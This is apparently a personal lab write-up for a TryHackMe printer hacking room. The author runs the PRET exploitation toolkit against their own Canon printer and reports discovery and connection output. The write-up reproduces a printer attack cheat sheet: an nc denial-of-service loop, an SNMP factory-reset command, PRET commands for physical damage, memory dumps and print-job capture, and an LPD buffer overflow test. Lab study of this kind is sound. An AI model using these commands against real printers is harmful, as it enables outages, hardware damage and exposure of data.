Printer Hacking

> This challenge is in www.tryhackme.com/room/printerhacking101
> I am going to use https://github.com/RUB-NDS/PRET library
| > cd ./PRET
| > python3 pret.py
PIN: you shoud install `pysnmP for run PRET`
`|> pip3 install colorama pysnmP`

Note : My printer is canon gm series 2040.

CODE
1. First we are going to scan printers (and IPs)

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py
No target given, discovering local printers

address          device                          uptime     status
192.168.0.106    Canon GM2000 series 1.000       0:10:49    Ready to print.

usage: pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
pret.py: error: the following arguments are required: target, mode
```

2. Now we have ip {192.168.0.106} Next thing is going to connect to printer. There have 3 different ways.

```
python3 pret.py {IP} pjl
python3 pret.py laserjet.lan ps
python3 pret.py /dev/usb/lp0 pcl
```

2.1. Iam going to try first way: (good job >> work)

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py 192.168.0.106 pjl
      _________________
    _/_________________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||       ⌜ pentesting tool that made
  |-||/_____\||-.  | |´         dumpster diving obsolete.. ⌟
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to 192.168.0.106 established
Device:   Command execution failed (timed out)

Forcing reconnect. Connection closed.
Connection to 192.168.0.106 established


Welcome to the pret shell. Type help or ? to list commands.
192.168.0.106:/>
```

2.1.1 Lets try other 2 way
|> python3 pret.py laserjet.lan ps

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py laserjet.lan ps
      _________________
    _/_______________/|
   /_____________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===          |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |             |   ô| ||
  |_____________|   ô| ||
  | ||/.´---.||     | ||       ⌜ pentesting tool that made
  |-||/_____\||-.   | |´         dumpster diving obsolete.. ⌟
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to laserjet.lan failed (Name or service not known)
Connection closed.
```

|> python3 pret.py /dev/usb/lp0 pcl >>> this method also doesn't work

2.2 command list:

Command	PS	PJL	PCL	Description
ls	✓	✓	✓	List contents of remote directory.
get	✓	✓	✓	Receive file: get <file>
put	✓	✓	✓	Send file: put <local file>
append	✓	✓		Append to file: append <file> <str>
delete	✓	✓	✓	Delete remote file: delete <file>
rename	✓			Rename remote file: rename <old> <new>
find	✓	✓		Recursively list directory contents.
mirror	✓	✓		Mirror remote filesystem to local dir.
cat	✓	✓	✓	Output remote file to stdout.
edit	✓	✓	✓	Edit remote files with vim.
touch	✓	✓		Update file timestamps: touch <file>
mkdir	✓	✓		Create remote directory: mkdir <path>
cd	✓	✓		Change remote working directory.
pwd	✓	✓		Show working directory on device.
chvol	✓	✓		Change remote volume: chvol <volume>
traversal	✓	✓		Set path traversal: traversal <path>
format	✓	✓		Initialize printer's file system.
fuzz	✓	✓		File system fuzzing: fuzz <category>
path	- Explore fs structure with path traversal strategies.			
write	- First put/append file, then check for its existence.			
blind	- Read-only tests for existing files like /etc/passwd.			
df	✓	✓		Show volume information.
free	✓	✓	✓	Show available memory.

3. Last important point is cheat sheat for complete mission.

Category	Attack	Protocol	Testing
Denial of service	Transmission channel	TCP	`while true; do nc printer 9100; done`
	Document processing	PS	PRET commands: `disable`, `hang`
		PJL	PRET commands: `disable`, `offline`
	Physical damage	PS	PRET command: `destroy`
		PJL	PRET command: `destroy`
Privilege escalation	Factory defaults	SNMP	`snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6`
		PML	PRET command: `reset`
		PS	PRET command: `reset`
	Accounting bypass	TCP	Connect to printer directly, bypassing the print server
		IPP	Check if you can set a username without authentication
		PS	Check if PostScript code is preprocessed on print server
		PJL	PRET command: `pagecount`
	Fax and Scanner	multiple	Install printer driver and (ab)use fax/scan functionality
Print job access	Print job retention	PS	PRET command: `capture`
	Print job manipulation	PS	PRET commands: `cross`, `overlay`, `replace`
Information disclosure	Memory access	PJL	PRET command: `nvram dump`
	File system access	PS	PRET commands: `fuzz`, `ls`, `get`, `put`, ...
		PJL	PRET commands: `fuzz`, `ls`, `get`, `put`, ...
	Credential disclosure	PS	PRET commands: `lock`, `unlock`
		PJL	PRET commands: `lock`, `unlock`
Code execution	Buffer overflows	PJL	PRET command: `flood`
		LPD	`./lpdtest.py printer in "`python -c 'print "x"*3000'`"`
	Firmware updates	PJL	Flip a bit, check if the modified firmware is still accepted
	Software packages	multiple	Obtain an SDK and write your own proof-of-concept application

http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

Iam going to use PJL and as you see its open all kind of commands.

Problem >> command execution failed(timed out)